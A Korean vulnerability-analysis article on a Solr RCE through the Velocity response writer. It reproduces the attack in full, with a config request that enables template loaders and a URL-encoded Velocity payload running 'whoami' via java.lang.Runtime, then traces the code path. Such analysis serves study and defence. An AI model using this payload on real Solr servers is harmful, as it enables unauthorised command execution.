목차
소개
취약성 재발
Principle
복구 계획
운영 및 유지보수 안전 Apache Solr의 최신 RCE 취약점을 분석하는 방법

Apache Solr의 최신 RCE 취약점을 분석하는 방법

May 25, 2023 pm 06:58 PM
rce apache solr

소개

Apache Solr에서 RCE 0day 취약점이 발견되었습니다(취약점 번호는 제공되지 않음). 여기서는 참조용으로 개체를 재현하고 전체 RCE 프로세스를 분석합니다.

취약성 재발

재생산 버전: 8.1.1

RCE를 구현하려면 먼저 두 단계가 필요합니다. 먼저 애플리케이션이 특정 코어(Core Admin에서 볼 수 있음)를 활성화했는지 확인하고 인스턴스에서 애플리케이션을 확인합니다.

怎样进行Apache Solr最新RCE漏洞分析

그런 다음 먼저 다음 json 데이터를 구성 인터페이스

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}
로그인 후 복사

怎样进行Apache Solr最新RCE漏洞分析

로 보냅니다. 그런 다음 다음 URL을 방문하여 RCE를 구현합니다.

/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
로그인 후 복사

Principle

먼저 첫 번째 데이터 패킷을 분석합니다. mycore 구성을 위한 것이므로 먼저 구성 요청을 처리하는 SolrConfigHandler의 handlerRequestBody 함수에 중단점을 설정합니다.

怎样进行Apache Solr最新RCE漏洞分析

POST 요청이므로 HandlePOST 함수를 후속 조치합니다.

怎样进行Apache Solr最新RCE漏洞分析

handPOST에서, 먼저 mycore를 꺼내십시오. 현재 구성은 우리가 보낸 구성과 동시에 handlerCommands 함수로 가져오고 후속 작업에서는 마지막으로 addNamedPlugin 함수에 들어가고 solr.resource.loader.enabled 및 params를 사용하여 VelocityResponseWriter 객체를 생성합니다. loader.enabled 값은 true로 설정되고, 객체 이름은 Velocity입니다.

怎样进行Apache Solr最新RCE漏洞分析

그런 다음 두 번째 데이터 패킷을 보낼 때 HttpSolrCall.call에서 responseWriter를 얻을 때 매개변수 wt의 값에 따라 responseWriter 객체를 얻습니다. wt가 속도일 때 우리가 얻는 것은 신중하게 구성된 것입니다. 일련의 후속 호출 후 VelocityResponseWriter

怎样进行Apache Solr最新RCE漏洞分析

怎样进行Apache Solr最新RCE漏洞分析

는 마침내 우리의 취약점에서 가장 심각한 VelocityResponseWriter.write 함수에 진입합니다. 먼저 createEngine 함수가 호출되어 custom.vrm-을 포함하는 악성 템플릿을 생성합니다. >payload.engine,

怎样进行Apache Solr最新RCE漏洞分析

악성 템플릿은 엔진 overridingProperties

怎样进行Apache Solr最新RCE漏洞分析

의 params.resource.loader.instance 및 solr.resource.loader.instance에 배치됩니다. 여기에는 매우 중요한 점이 있습니다. params.resource.loader.instance 및 solr.resource.loader.instance를 입력하여 paramsResourceLoaderEnabled 및 solrResourceLoaderEnabled가 True인지 확인해야 합니다. 이것이 첫 번째 데이터 패킷이 수행하는 작업입니다.

怎样进行Apache Solr最新RCE漏洞分析

VelocityResponseWriter.getTemplate은 우리가 제출한 v.template 매개변수를 기반으로 우리가 구성한 악성 템플릿을 가져옵니다

怎样进行Apache Solr最新RCE漏洞分析

마지막으로 악성 템플릿이 제거되고 해당 병합 메서드가 호출되었습니다.

怎样进行Apache Solr最新RCE漏洞分析

이 템플릿을 이해하려면, Velocity Java 템플릿 엔진(이 tmplate은 org.apache.velocity.Template 클래스 객체이기 때문에)을 이해해야 합니다. 공식 설명은 다음과 같이 번역됩니다.

Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象
로그인 후 복사

이 설명에서 우리는 이 템플릿 엔진에 우리는 기본적인 작성 방법만 이해하면 됩니다.

// 变量定义
#set($name =“velocity”)
// 变量赋值
#set($foo = $bar)
// 函数调用
#set($foo =“hello”) #set(foo.name=bar.name) #set(foo.name=bar.getName($arg)) 
// 循环语法
#foreach($element in $list)
 This is $element
 $velocityCount
#end
// 执行模板
template.merge(context, writer);
로그인 후 복사

위의 기본 구문 소개를 통해 페이로드 구성 방법을 더 깊이 이해하고 싶다면 Velocity Java 정보를 확인하세요. 당신 자신, 우리는 여기에 있습니다. 더 이상 깊이가 없습니다.

그래서 마지막이라는 악성 템플릿의 병합 방식을 통해 RCE가 성공적으로 발생하게 되었고, 드디어 키 콜 체인이 추가되었습니다.

怎样进行Apache Solr最新RCE漏洞分析

복구 계획

현재 공식 패치가 제공되지 않아 Solr에 대한 접근을 제한하는 것이 좋습니다.

위 내용은 Apache Solr의 최신 RCE 취약점을 분석하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

운영 및 유지 보수 보안 감사 시스템은 어떤 범주에 속합니까? 운영 및 유지 보수 보안 감사 시스템은 어떤 범주에 속합니까? Mar 05, 2025 pm 03:59 PM

이 기사에서는 운영 보안 감사 시스템 조달을 검토합니다. 전형적인 범주 (하드웨어, 소프트웨어, 서비스), 예산 할당 (Capex, Opex, Project, Training, 비상 사태) 및 적절한 정부 계약 차량 (GSA SCH에 대해 자세히 설명합니다.

운영 및 유지 보수 요원의 직무 안전 책임은 무엇입니까? 운영 및 유지 보수 요원의 직무 안전 책임은 무엇입니까? Mar 05, 2025 pm 03:51 PM

이 기사는 DevOps 엔지니어, 시스템 관리자, IT 운영 직원 및 유지 보수 직원에 대한 중요한 보안 책임을 자세히 설명합니다. SDLC (DevOps)의 모든 단계에 보안을 통합하여 강력한 액세스 C를 구현하는 것을 강조합니다. C

운영 및 유지 보수 안전 엔지니어는 무엇을합니까? 운영 및 유지 보수 안전 엔지니어는 무엇을합니까? Mar 05, 2025 pm 04:00 PM

이 기사는 DevOps, 보안 및 IT 운영 엔지니어의 역할과 필요한 기술을 탐구합니다. 그것은 매일의 작업, 경력 경로 및 각각에 필요한 기술 및 소프트 기술을 자세히 설명하여 자동화의 중요성이 증가 함을 강조합니다.

운영 및 유지 보수 보안 감사 시스템 및 네트워크 보안 감사 시스템의 차이 운영 및 유지 보수 보안 감사 시스템 및 네트워크 보안 감사 시스템의 차이 Mar 05, 2025 pm 04:02 PM

이 기사는 OPSEC (Operations Security) 및 NETEC (Network Security) 감사 시스템을 대조합니다. OPSEC는 내부 프로세스, 데이터 액세스 및 직원 행동에 중점을두고 NETSEC는 네트워크 인프라 및 통신 보안을 중심으로합니다. 열쇠

운영 및 유지 보수 보안이란 무엇입니까? 운영 및 유지 보수 보안이란 무엇입니까? Mar 05, 2025 pm 03:54 PM

이 기사에서는 DevSecops를 검토하여 보안을 소프트웨어 개발 라이프 사이클에 통합합니다. 보안 아키텍처, 자동화, 취약성 관리 및 사고 대응을 포함한 DevOps 보안 엔지니어의 다각적 역할에 대해 자세히 설명합니다.

안전 운영 및 유지 보수 직원의 전망은 무엇입니까? 안전 운영 및 유지 보수 직원의 전망은 무엇입니까? Mar 05, 2025 pm 03:52 PM

이 기사는 성공적인 보안 운영 경력을위한 필수 기술을 검토합니다. 기술 전문 지식 (네트워크 보안, SIEM, 클라우드 플랫폼), 분석 기술 (데이터 분석, 위협 인텔리전스) 및 소프트 스킬 (공동 공동)의 필요성을 강조합니다.

운영 및 유지 보수 보안이란 무엇입니까? 운영 및 유지 보수 보안이란 무엇입니까? Mar 05, 2025 pm 03:58 PM

DevOps는 CI/CD 파이프 라인 내에서 보안 검사를 자동화하여 인프라를 제어 개선을위한 코드로 사용하고 개발 및 보안 팀 간의 협업을 육성하여 운영 보안을 향상시킵니다. 이 접근법은 취약점을 가속화합니다

운영 및 유지 보수 보안의 주요 작업 운영 및 유지 보수 보안의 주요 작업 Mar 05, 2025 pm 03:53 PM

이 기사는 O & M (Operational and Maintenance) 보안을 자세히 설명하며 취약성 관리, 액세스 제어, 보안 모니터링, 데이터 보호 및 물리적 보안을 강조합니다. Proacti를 포함한 주요 책임 및 완화 전략

See all articles